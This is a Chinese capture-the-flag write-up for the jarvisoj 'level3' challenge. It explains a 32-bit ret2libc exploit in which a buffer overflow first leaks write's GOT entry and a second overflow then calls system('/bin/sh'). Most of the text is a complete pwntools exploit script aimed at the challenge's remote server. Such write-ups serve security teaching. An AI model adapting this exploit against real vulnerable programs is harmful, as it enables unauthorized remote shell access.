X-MAN-level3

X-MAN-level3

本题主要考察通过延迟绑定技术泄漏函数的真实地址,延迟绑定技术,通过GDB调试会发现程序开启了NX保护。而且也找不到system函数和bin/sh,

首先需要泄漏write函数的地址用来求出system和bin/sh的实际地址,构造payload=‘A’*140+p32(writeplt) +p32(vuladdr)+ p32(1) + p32(writegot) + p32(4)
返回地址改为溢出发现的函数地址是为了接下来第二个payload的构造,因为函数每次运行的个函数的实际地址是不同的。后面的三个是write函数的三个参数,通过延迟绑定原理将write的实际地址写出来。

第二个payload就是直接修改返回地址为system真实地址再加上bin/sh的地址就可以实现利用。脚本如下:

from pwn import *

#p=process('./level3')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#context.log_level = 'debug'
p=remote('pwn2.jarvisoj.com',9879)

level2=ELF('./level3')
libc=ELF('libc-2.19.so')
#offest
writeoffest = libc.symbols['write']
print writeoffest
systemoffest = libc.symbols['system']
print systemoffest
binshoffest=0x0016084C
#plt
writeplt=0x08048340
#got
writegot=0x0804A018
#addr
basebss = 0x0804A024
pop3ret = 0x08048519
vuladdr = 0x0804844B

payload='A'*140+p32(writeplt) +p32(vuladdr)+ p32(1) + p32(writegot) + p32(4)

p.recvuntil('Input:\n')
p.send(payload)
writeaddr=u32(p.recv(4))
print writeaddr

systemaddr = writeaddr - writeoffest + systemoffest
binshaddr = writeaddr - writeoffest + binshoffest

payload='a'*140+p32(systemaddr)+p32(4)+p32(binshaddr)

p.send(payload)
p.interactive()
文章目录
  1. 1. X-MAN-level3
|